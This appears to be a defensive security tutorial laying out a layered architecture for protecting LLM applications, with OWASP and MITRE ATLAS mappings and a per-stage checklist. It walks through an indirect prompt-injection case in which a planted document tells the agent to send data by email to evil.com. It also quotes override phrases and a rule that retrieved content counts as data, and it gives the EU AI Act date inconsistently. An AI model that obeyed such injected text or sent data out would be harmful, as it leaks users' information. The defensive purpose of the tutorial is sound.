The Architecture of a Secured AI System (Capstone)

June 25, 2026 · Securing AI: How AI Gets Attacked — and Defended (part 31)

▶ Watch on YouTube & subscribe to The Stack Underflow

Every prior episode in this series zoomed in on one stage, one attack, one defense. This one zooms all the way out. A production AI system is not a single component — it is a pipeline: user request, gateway, model, retrieval store, tool layer, orchestrating agent. Each handoff is an attack surface. An attacker who fails at the gateway tries the RAG store. An attacker who slips the RAG store targets the tools. The only answer is defense in depth — a guardrail at every stage so that no single failure becomes a catastrophe.

The incidents are real and accelerating. In 2025, CVE-2025-53773 (CVSS 9.6) demonstrated hidden prompt injection in GitHub Copilot pull-request descriptions enabling remote code execution. A 2026 LiteLLM supply-chain attack poisoned a widely-used PyPI proxy package and exposed over 40,000 AI pipelines in under 40 minutes (OWASP LLM Top 10 — 2025 edition, LLM03). A critical MCP ecosystem vulnerability exposed approximately 200,000 AI servers to remote code execution by chaining agent trust with tool scope. These are not hypotheticals. If you are shipping AI, this architecture is what stands between you and them.

The one-sentence version: A secured AI system is the full pipeline — user, gateway, model, RAG, tools, agent — with a documented, testable defense on every stage, wrapped in governance, zero-trust identity, and continuous monitoring.

The full pipeline: what you are actually defending

Before attaching defenses, draw the machine. A production LLM application typically has six logical components:

USER
  |
  v
GATEWAY / LLM FIREWALL   <-- S4: the request entry point
  |
  v
MODEL                    <-- S2/S3: the weights + their provenance
  |         |
  v         v
RAG /       TOOLS / MCP  <-- S0: training/retrieval data
VECTOR                   <-- S5: tool execution
STORE
  |         |
  +---------+
       |
       v
   AGENT LOOP            <-- S5: orchestration, memory, multi-step

The labels S0–S5 are the AI attack surface stages introduced in The AI Attack Surface Explained: S0 is training and retrieval data, S2/S3 is the model artifact and its supply chain, S4 is runtime prompt/input, and S5 is the tool and agent execution layer. Each stage has its own threat class. Defending only one is not defense in depth — it is a single point of failure waiting to be routed around.

Stage-by-stage defenses, OWASP-mapped

The OWASP Top 10 for LLM Applications — 2025 edition — names the attacks; each defense below maps directly to the relevant entry.

This table is the architectural cheat-sheet. Every cell is a chapter of this series. This episode wires them into one system.

Layering the defenses: the secured board

Here is the full annotated architecture with each defense snapped onto its stage:

+------------------------------------------------------------------+
|  GOVERNANCE PLANE  -- NIST AI RMF 1.0 (Govern, Map, Measure,    |
|                       Manage) + EU AI Act transparency rules      |
| +--------------------------------------------------------------+ |
| |  ZERO-TRUST PLANE  -- verify every identity, every request,  | |
| |                       no implicit trust between components    | |
| |                                                              | |
| |  USER                                                        | |
| |    |  (cyan: benign request)                                 | |
| |    v                                                         | |
| | [GATEWAY / LLM FIREWALL]                                     | |
| |   [DEFENSE] Input validation + injection filtering  LLM01    | |
| |   -- retrieved/tool content treated as DATA, not commands    | |
| |    |                                                         | |
| |    v                                                         | |
| | [MODEL]                                                      | |
| |   [DEFENSE] Model verification + AIBOM              LLM03    | |
| |   -- signed weights, known provenance, diff on update        | |
| |    |              |                                          | |
| |    v              v                                          | |
| | [RAG / VECTOR]  [TOOLS / MCP]                               | |
| |   [DEFENSE]       [DEFENSE]                                  | |
| |   Data prov. +    Least-privilege     LLM04/LLM08 / LLM06   | |
| |   signed sources  scope ring +                               | |
| |                   PreToolUse gates                           | |
| |    |              |                                          | |
| |    +----+---------+                                          | |
| |         |                                                    | |
| |         v                                                    | |
| |   [MONITOR / SIEM]  prompts, tool calls, retrievals, ids     | |
| |   -- MITRE ATLAS v5.1.0 (16 tactics, 84 techniques, Nov 25) | |
| +--------------------------------------------------------------+ |
+------------------------------------------------------------------+

Three planes wrap the whole system:

• Governance plane — NIST AI RMF 1.0 (Govern, Map, Measure, Manage) plus NIST AI 600-1 (the Generative AI Profile, July 2024). This is the organizational layer: who owns risk, how it is measured, what counts as acceptable.
• Zero-trust plane — every component verifies every other component’s identity before acting. No implicit trust because two services are co-located. See Zero Trust for AI: The 5 Guardrail Principles for the full model.
• Monitor / SIEM plane — every prompt, every tool call, every retrieval logged to a central sink. You cannot defend what you cannot see. The monitor plane is also the surface on which your red team operates.

Defense in depth: one attack, three stops

The power of this architecture is what happens when one layer is bypassed. Walk the indirect prompt injection attack flow through the secured system — not as a recipe to follow, but as proof that depth works:

ATTACKER plants injection payload in a document
  the RAG store will retrieve
        |
        v
LAYER 1 -- Gateway input filter
  -- scans assembled prompt for injection patterns
  -- flags "exfiltrate to evil.com" → BLOCKED (most cases stop here)
        |
        | (hypothetical slip-through)
        v
LAYER 2 -- PreToolUse gate on the exfil tool
  -- the agent attempts send_email(to="evil.com")
  -- deterministic hook checks: is recipient on allowlist?
  -- answer: NO → BLOCKED
        |
        | (hypothetical bypass of gate logic)
        v
LAYER 3 -- SIEM log catches the anomaly
  -- tool call to unknown external domain logged
  -- alert fires to on-call; incident response begins
  -- "Break it on the board, not in prod."

No single layer is perfect. The gateway filter can be evaded with obfuscated payloads. The PreToolUse gate can have logic bugs. But an attacker who bypasses both in a production system still leaves a forensic trail in the SIEM. This is the core promise of defense in depth: raise the cost of a successful attack above the attacker’s budget at every layer.

For a deep look at the attack shape that drives this flow, see Prompt Injection: The Attack Flow Every AI Developer Must Know and Direct vs Indirect Prompt Injection.

How to build this: the per-stage checklist

Each defense is concrete and testable, not aspirational.

Gateway / LLM firewall (LLM01)

• Deploy an LLM firewall (commercial products or open-source classifiers) in front of every model endpoint.
• Enforce the instruction-layer separation rule: fetched documents, tool outputs, and retrieved chunks are wrapped in structural tags ([RETRIEVED_CONTEXT], [TOOL_OUTPUT]) and the system prompt explicitly says these zones are data, not instructions. This is a soft defense, but a real one.
• Reject or flag inputs that match known injection patterns (Unicode homoglyphs, role-override phrases, embedded ignore previous directives).

Model verification + AIBOM (LLM03)

• An AIBOM (AI Bill of Materials) is the supply-chain equivalent of a software SBOM: a machine-readable manifest listing the base model, fine-tuning dataset hashes, adapter versions, and any third-party weights. Verify the hash on every deployment, not just the first.
• The Mercor supply-chain breach (2025) exposed 4TB of training data because model configurations and API keys were accessible via a compromised LiteLLM proxy — an AIBOM-based inventory would have scoped the blast radius immediately.
• See AIBOM and Model Signing for implementation details.

Data provenance + signed sources (LLM04, LLM08)

• Every document that enters the vector store should carry a provenance record: origin URL or file path, ingestion timestamp, cryptographic hash, and the identity of the pipeline stage that ingested it.
• Reject unsigned or unverifiable entries at index time. The cost is cheap compared to a poisoned retrieval corrupting production answers for weeks before detection.
• See RAG Security: Why Your RAG Pipeline Retrieves a Backdoor for the full poisoning attack flow.

Least-privilege tools + PreToolUse gates (LLM06)

• Audit every tool the agent has access to. If the task is “summarise documents,” the agent does not need send_email, http_post, or access to secrets. Remove them.
• A PreToolUse gate is a deterministic, code-level hook that runs before any high-impact tool fires (send, delete, pay, shell). It checks: is this recipient on an allowlist? Is this action within the declared scope? Was this step authorised by a human? Code, not vibes.
• The 2026 MCP vulnerability that exposed ~200,000 servers was exploitable precisely because agents had RCE-level tool scope with no intermediate gating.
• See Excessive Agency: When an AI Agent Does Too Much and Tool Misuse and the OWASP Agentic Top 10.

Identity and zero trust between agents (multi-agent)

• In a multi-agent pipeline, each sub-agent must authenticate to the orchestrator; the orchestrator must not grant privileges exceeding what the human delegated.
• MITRE ATLAS v5.1.0 (November 2025, 16 tactics, 84 techniques) added AI Agent Context Poisoning and Memory Manipulation as named techniques — both exploit implicit trust between components.
• See AI Agent Identity: IAM for Non-Human Actors and Multi-Agent Failure Modes.

Monitor / SIEM

• Log the four streams: prompts (inputs and outputs), tool calls (name, arguments, result), retrievals (query, chunk IDs, scores), and identities (which agent, which user, which session).
• Feed the SIEM into an IR playbook for AI-specific anomalies: unusual tool call volumes, retrieval queries that look like exfiltration probes, prompt patterns that cluster around known injection templates.
• See AI Monitoring, SIEM and Incident Response.

Common misconceptions

• “My system prompt says ‘resist injections,’ so I am protected.” The system prompt has no enforcement authority. It is advice to the model, not a control plane. Architecture enforces; instructions suggest. An attacker with a clever enough payload can override text. A deterministic PreToolUse gate cannot be overridden by text — it runs outside the model entirely.

• “One strong model is safer than defense in depth.” Model robustness is one layer, not a system. Even the most capable models exhibit injection susceptibility under adversarial conditions. The 2025 GitHub Copilot RCE (CVE-2025-53773, CVSS 9.6) involved a frontier-grade model. Robustness reduces attack success rate; architecture reduces blast radius.

• “Monitoring is a compliance checkbox, not a security control.” The SIEM is the last line of defense and the first line of forensics. In the defense-in-depth attack trace above, layer 3 (the log) catches what layers 1 and 2 miss. Without it, you have no evidence, no timeline, and no way to determine scope after a breach.

• “AIBOM is only relevant for open-source models.” Proprietary model deployments also have supply chains: fine-tuning datasets, adapters, third-party LoRA weights, embedding model versions. The LiteLLM/Mercor incident class applies equally. An AIBOM lets you answer “what changed between the deployment that was clean and the deployment that was compromised” in minutes rather than weeks.

Frequently asked questions

How does this architecture map to NIST AI RMF in practice? NIST AI RMF 1.0 provides four functions: Govern (set policies, assign ownership, define acceptable risk), Map (identify the AI system’s context and risks), Measure (quantify and test those risks), and Manage (apply controls and track residual risk). The architecture above is the output of the Map and Measure phases: you draw the pipeline, identify attack surfaces per stage, measure their likelihood and impact, then instantiate the controls in the Manage phase. NIST AI 600-1 (the Generative AI Profile, 2024) extends the RMF with GenAI-specific risks like confabulation, data poisoning, and misuse of generated content. Governance and transparency requirements under the EU AI Act began applying from August 2025, with high-risk system obligations deferred to December 2027 under the Digital Omnibus (May 2026).

Do I need all six components, or can I skip the ones I do not use? You defend what you actually deploy. If your system has no RAG pipeline, you skip the vector-store provenance controls. But before concluding you have no RAG, audit carefully — many LLM platforms include implicit retrieval (product knowledge bases, document search, memory modules) that engineers do not always classify as “RAG.” The checklist is a forcing function: enumerate every component, then decide which defenses apply.

What is the minimum viable secured AI deployment? If you must prioritise, the highest-leverage controls in order are: (1) PreToolUse gates on all destructive tool calls — this stops irreversible damage even if every other layer fails; (2) least-privilege tool scope — reduce blast radius before an attack; (3) SIEM logging of all tool calls and prompts — without this you have no visibility; (4) AIBOM — know exactly what you deployed so you can scope a breach. Input validation and data provenance are high value but harder to retrofit. Start with the four above on day one.

How does this relate to MITRE ATLAS? MITRE ATLAS v5.1.0 (November 2025) provides the adversary-centric view: 16 tactics, 84 techniques, 56 sub-techniques, and 42 real-world case studies. The architecture above maps ATLAS techniques to stages: ML Supply Chain Compromise maps to S2/S3 (model + AIBOM); Prompt Injection maps to S4 (gateway); RAG Credential Harvesting and AI Agent Context Poisoning map to S0/S5 (retrieval + agent). Use ATLAS during red-team exercises to enumerate which techniques your architecture has controls for and which it does not.

Is this architecture different for agentic vs. non-agentic deployments? The core stages are the same. Agentic deployments add two complications: the agent loop creates multi-step execution where each step amplifies both capability and attack surface, and multi-agent pipelines introduce inter-component trust that attackers can exploit (MITRE ATLAS: AI Agent Context Poisoning, Memory Manipulation). For agentic deployments, strengthen the identity and gate layers proportionally to the number of autonomous steps the system can take.

Where does the EU AI Act fit into this architecture? The EU AI Act’s transparency obligations (applicable from August 2026) require that users be informed they are interacting with AI, and that high-risk AI systems maintain logs, enable human oversight, and document data governance. The governance and monitor planes in this architecture directly satisfy those requirements. The Digital Omnibus (May 2026) deferred the full Annex III high-risk obligations to December 2027, but building the logging and governance infrastructure now avoids a compliance scramble later.

Where this fits in the series

This tutorial is the capstone of the Securing AI series — it assembles every stage covered in previous episodes into a single production architecture. The foundation is The AI Attack Surface Explained, which introduced the S0–S5 stage model and the three planes. The per-stage defenses built in this tutorial draw directly on RAG Security: Why Your RAG Pipeline Retrieves a Backdoor, Excessive Agency: When an AI Agent Does Too Much, Zero Trust for AI: The 5 Guardrail Principles, and How to Threat Model an AI System. The next episodes in the series go deeper on operationalisation: Red Teaming an AI System, AI Monitoring, SIEM and Incident Response, and AI Governance for Builders: NIST AI RMF and the EU AI Act. Browse all tutorials to follow the full series.